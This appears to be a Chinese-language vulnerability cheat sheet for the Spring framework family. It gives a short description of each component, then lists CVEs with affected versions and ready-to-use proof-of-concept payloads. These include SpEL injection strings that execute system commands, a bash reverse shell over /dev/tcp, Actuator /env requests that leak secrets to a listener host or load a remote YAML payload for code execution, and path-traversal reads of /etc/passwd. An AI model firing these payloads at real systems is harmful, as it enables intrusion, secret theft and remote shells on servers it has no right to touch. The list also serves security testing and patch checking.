0x01 背景介紹
Spring是一個開源框架,它由Rod Johnson創建。它是為了解決企業應用開發的復雜性而創建的。Spring使用基本的JavaBean來完成以前只可能由EJB完成的事情。然而,Spring的用途不僅限於服務器端的開發。從簡單性、可測試性和松耦合的角度而言,任何Java應用都可以從Spring中受益,Spring是一個輕量級的控制反轉(IoC)和面向切面(AOP)的容器框架。
Spring集合:
【1】Spring JDBC
【2】Spring MVC Springmvc是Springframework里面的一個組件,用於javaee開發過程中的控制層。
【3】Spring Security --Spring Security OAuth Spring Security OAuth是為Spring框架提供安全認證支持的一個模塊,主要分為授權服務 Authorization Service.資源服務 Resource Service.這次漏洞主要是由用戶使用Whitelabel views來處理錯誤時,攻擊者在被授權的情況下可以通過構造惡意 SpEL表達式來遠程執行命令
【4】Spring AOP
【5】Spring ORM
【6】Spring Test
【7】Spring WebFlow Spring WebFlow構建於Spring MVC之上,允許實現Web應用程序的“流程”。流程封裝了一系列步驟,指導用戶執行某些業務任務。 它的最佳位置是具有受控導航功能的有狀態Web應用程序,例如購物邏輯,向表單添加確認步驟等。如果我們控制了數據綁定時的field,構造惡意 SpEL表達式來遠程執行命令。
【8】 Spring Data Spring Data是對數據訪問的更高抽象。通過它,開發者進一步從數據層解放出來,更專注於業務邏輯,是一個用於簡化數據庫訪問,並支持雲服務的開源框架。
【8-1】Spring Data REST Spring Data REST是一個構建在Spring Data之上,為了幫助開發者更加容易地開發REST風格的Web服務。在REST API的Patch方法中,path的值被傳入setValue,導致執行了惡意SpEL表達式,觸發遠程命令執行漏洞。
【8-2】Spring Data Commons Spring Data Commons是Spring Data Repository抽象。使用Spring Data Repository可以極大地減少數據訪問層的代碼。當用戶在項目中利用了Spring-data的相關web特性對用戶的輸入參數進行自動匹配的時候,會將用戶提交的form表單的key值作為SpEL表達式進行注入,攻擊者可以注入惡意SpEL表達式以執行任意命令。 【9】spring messaging spring messaging為spring框架提供消息支持,其上層協議是STOMP,底層通信基於SockJS, 用STOMP協議將數據組合成一個文本流,簡單來說用sockjs協議發送文本流,sockjs會選擇一個合適的通道:websocket(NEW)或ajax(OLD)進與后端通信。由於selector用SpEL表達式編寫,並使用StandardEvaluationContext解析(權限太大),造成命令執行漏洞。 【10】 Spring Cloud Spring Cloud是一整套基於Spring Boot的微服務解決方案,為開發者提供了很多工具,用於快速構建分布式系統的一些通用模式。
【10-1】 Spring Cloud data flow
【10-2】 Spring Cloud Config Spring Cloud Config為分布式系統中的外部化配置提供服務器和客戶端支持。 使用Config Server,您可以在所有環境中管理應用程序的外部屬性。
【10-3】Spring Cloud Eureka SpringCloud封裝了Netflix公司開發的Eureka模塊來實現服務注冊與發現,Eureka采用了C/S設計架構,Eureka Server作為服務注冊功能的服務器,它是服務注冊中心。而系統中的其他微服務,使用Eureka Client連接到Eureka Server並維持心跳連接,這樣系統的維護人員就可以通過Eureka Server來監控系統中的各個微服務是否正常運行,SpringCloud的一些其他模塊(例如Zuul)就可以通過Eureka Server來發現系統中的其他微服務,並執行相關的邏輯。 【11】Spring Boot Spring Boot 是 Spring 的一套快速配置腳手架,可以基於spring boot 快速開發單個微服務。
【11-1】Spring Boot actuator SpringBoot自帶監控功能Actuator,可以幫助實現對程序內部運行情況監控。 【12】 Springframework Springframework 是sping 里面的一個開源框架,主要用戶javaee的企業開發。 【13】 Spring integration
【14】Spring batch
【15】Spring hateoas
【16】Jolokia Jolokia是一個利用JSON通過Http實現JMX遠程管理的開源項目,可在Spring Boot項目中使用。
【17】Logback Logback是由log4j創始人設計的另一個開源日志組件,用於取代log4j,官方網站: http://logback.qos.ch。 Logback默認配置文件: logback-test.xml(如果文件不存在,則查找文件logback.xml)
WooYun-2016-226888 - Spring Boot框架存在SPEL表達式注入通用漏洞(未找到相關資料)
Spring Boot + Spring cloud PID漏洞
(1)
GET /env HTTP/1.1 Host: xx.xx.xx.28:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 70 eureka.client.serviceUrl.defaultZone=http://${PID}@xx.xx.xx.226:6666/
(2)nc監聽
nc -lvp 6666
(3)refresh
(4)base64解碼獲取屬性
echo xxx | base64 -d
Spring Boot + Spring Cloud(spring Cloud env yaml利用)
當spring boot使用Spring Cloud 相關組件時,會存在spring.cloud.bootstrap.location屬性,通過修改 spring.cloud.bootstrap.location 環境變量實現 RCE
- 利用范圍
Spring Boot 2.x 無法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本時可利用成功,使用 Edgware 無法成功
Spring Boot <= 1.4 可利用成功
(1)
https://github.com/artsploit/yaml-payload(修改重打包)
(2)
GET /env HTTP/1.1 Host: xx.xx.xx.xx:8090 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: csrftoken=mA7PD6I8fuBUtju2kgVyc7z4c2R3sSFGA2sB7GclbXYHf2u8a4zoYisrNu43oebb Connection: close Content-Length: 75 spring.cloud.bootstrap.location=http://xx.xx.xx.xx/yaml-payload.yaml
(3)/refresh
CVE-2020-5405 Spring Cloud Config路徑穿越導致的信息泄露
影響版本:spring-cloud-config-server < 2.2.2
CVE-2020-5398
Date: 2020.1 類型: RFD 影響范圍:
versions 5.2.x prior to 5.2.3, versions 5.1.x prior to 5.1.13, and versions 5.0.x prior to 5.0.16
poc: $ curl 'http://127.0.0.1:8080/?filename=sample&contents=Hello,%20World' --dump-header -
CVE-2019-11269 Spring Security OAuth 開放重定向
影響版本: Spring Security OAuth 2.3至2.3.5 Spring Security OAuth 2.2至2.2.4 Spring Security OAuth 2.1至2.1.4 Spring Security OAUth 2.0至2.0.17
CVE-2020-5410
影響版本 • Spring Cloud Config: 2.2.0 to 2.2.2 • Spring Cloud Config: 2.1.0 to 2.1.8 http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111 http://127.0.0.1:8089/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23/111/222
Spring Cloud Config目錄遍歷漏洞(CVE-2019-3799)
Date 2019 類型 任意文件讀取 影響范圍 Spring Cloud Config 2.1.0 to 2.1.1 Spring Cloud Config 2.0.0 to 2.0.3 Spring Cloud Config 1.4.0 to 1.4.5 poc /test/pathtraversal/master/..%252f..%252f..%252f..%252f../etc/passwd
CVE-2019-3778 Spring Security OAuth 開放重定向
影響版本: Spring Security OAuth 2.3 to 2.3.4 Spring Security OAuth 2.2 to 2.2.3 Spring Security OAuth 2.1 to 2.1.3 Spring Security OAuth 2.0 to 2.0.16
CVE-2018-15758 spring-security-oauth2權限提升
影響版本: Spring Security OAuth 2.3至2.3.3 Spring Security OAuth 2.2至2.2.2 Spring Security OAuth 2.1至2.1.2 Spring Security OAuth 2.0到2.0.15
CVE-2018-1273
Date 2018 類型 SpEL表達式注入漏洞 影響范圍 Spring Data Commons < 2.0.5 poc username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("ping xxx.dnslog.cn")]=xxx&password=123456&repeatedPassword=123456
CVE-2018-1272
(在Spring MVC或者WebFlux應用把客戶端請求再轉向另一台服務器的場景下,攻擊者通過構造和污染Multipart類型請求,可能對另一台服務器實現權限提升攻擊)
Spring MVC 目錄穿越漏洞(CVE-2018-1271)
Date 2018.4 類型
任意文件下載
影響范圍 Spring Framework 5.0 to 5.0.4. Spring Framework 4.3 to 4.3.14 已不支持的舊版本仍然受影響 前置條件 Server運行於Windows系統上 要使用file協議打開資源文件目錄 poc http://localhost:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Spring Messaging 遠程命令執行漏洞(CVE-2018-1270)
Date 2018 類型
RCE
影響范圍 poc \nselector:new java.lang.ProcessBuilder("touch /tmp/sucesss").start()
Spring-Integration-Zip 任意文件寫入漏洞 Unsafe Unzip with spring-integration-zip(CVE-2018-1261)
Date 2018 類型 任意文件寫入漏洞 影響范圍 Spring-Integration-Zip Community Extension Project Version 1.0.0
CVE-2018-1263 (Spring-Integration-Zip 任意文件寫入漏洞 沒找到相關案例,阿里先知有一篇分析)
Spring-Security-OAuth2 遠程代碼執行漏洞(CVE-2018-1260)
Date 2018 類型
RCE
影響范圍 Spring Security Oauth 2.3.x < Spring Security Oauth 2.3.3 Spring Security Oauth 2.2.x < Spring Security Oauth 2.2.2 Spring Security Oauth 2.1.x < Spring Security Oauth 2.1.2 Spring Security Oauth 2.0.x < Spring Security Oauth 2.0.15 以及不受支持的舊版本
Spring Data 框架使用XMLBean產生XXE漏洞(CVE-2018-1259)
Date 2018 類型 XXE 影響范圍 Spring Data Commons 1.13.x < Spring1.13.12 Spring Data Commons 2.0.x < Spring2.0.7 Spring Data REST 2.6.x < Spring Data REST 2.6.12 Spring Data REST 3.0.x < Spring Data REST 3.0.7 poc
CVE-2018-1258 Spring Security未經授權的訪問(未找到公開poc)
影響版本:Spring Framework 5.0.5.RELEASE和Spring Security(任何版本)
Spring Messaging組件中存在漏洞可導致正則表達式拒絕服務攻擊(CVE-2018-1257)
Date 2018 類型 DOS 影響范圍 Spring5.0.x < Spring5.0.6 Spring4.3.x < Spring4.3.17 以及不在收支持的版本 poc
CVE-2017-8046
Date 2017 類型
SPEL表達式注入 影響范圍
Spring Data REST 2.5.12, 2.6.7, 3.0 RC3之前的版本
Spring Boot 2.0.0M4之前的版本
Spring Data release trains Kay-RC3之前的版本
poc
[{ "op": "replace", "path": "T(java.lang.Runtime).getRuntime().exec(new java.lang.String(new byte[]{111,112,101,110,32,47,65,112,112,108,105,99,97,116,105,111,110,115,47,67,97,108,99,117,108,97,116,111,114,46,97,112,112}))/lastName", "value": "vulhub" }]
CVE-2017-8045 Spring Amqp中的遠程代碼執行
影響版本:1.7.4、1.6.11和1.5.7之前的Spring AMQP版本
Spring WebFlow 遠程代碼執行漏洞(CVE-2017-4971)
Date 2017 類型 RCE
影響范圍 poc _(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/ip/端口 0>&1")).start()=hellowrod(要url編碼,因為有特殊符號)
CVE-2016-6652 Spring Data JPA SQL盲注(未找到相關資料)
影響版本:Spring Data JPA 1.10.2、1.9.4
CNVD-2016-04742 Spring Boot框架SPEL表達式注入漏洞
(1)影響版本:1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
(2)至少知道一個觸發 springboot 默認錯誤頁面的接口及參數名
補丁:philwebb committed on 15 Dec 2015
https://github.com/spring-projects/spring-boot/commit/edb16a13ee33e62b046730a47843cb5dc92054e6
Spring Security OAuth2.0 (CVE-2016-4977)
Date 2016 類型 EL表達式注入導致RCE 影響范圍 Spring Security OAuth2.0 前置條件 登錄 poc: http://127.0.0.1:8080/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test
CVE-2016-2173 Spring AMQP中的遠程代碼執行
影響版本:1.0.0至1.5.4
Spring WebFlow 遠程代碼執行漏洞 CVE-2017-8039(https://www.chaosec.com/?p=754)
CVE-2014-3578 Spring Framework 目錄遍歷漏洞 (未找到相關資料)
影響版本: Spring Framework: - 3.0.4 to 3.2.11 - 4.0.0 to 4.0.7 - 4.1.0 to 4.1.1
CVE-2014-0097 Spring Security認證繞過(未找到相關資料)
影響版本:Spring Security 3.2.0至3.2.1和3.1.0至3.1.5
CVE-2014-3527 Spring Security驗證繞過漏洞(未找到相關資料)
SpringSource Spring Security 3.1-3.2.4
CVE-2013-7315 Spring Framework中的XML外部實體(未找到相關資料)
影響版本:3.2.0至3.2.3、4.0.0.M1-4.0.0.M2(Spring MVC)
CVE-2013-4152 Spring Framework中的XML外部實體(XXE)注入
影響版本: 3.0.0至3.2.3、4.0.0.M1
(https://blog.csdn.net/dingodingy/article/details/84495877)
CVE-2010-1622 Spring Frame class.classLoader類遠程代碼執行
Date 2010 類型 遠程代碼執行 影響范圍 Spring Framework 3.0.0-3.0.2 Spring Framwork 2.5.0-2.5.7
(Spring Framework class.classLoader類遠程代碼執行 https://www.inbreak.net/archives/377)
(未找到公開poc)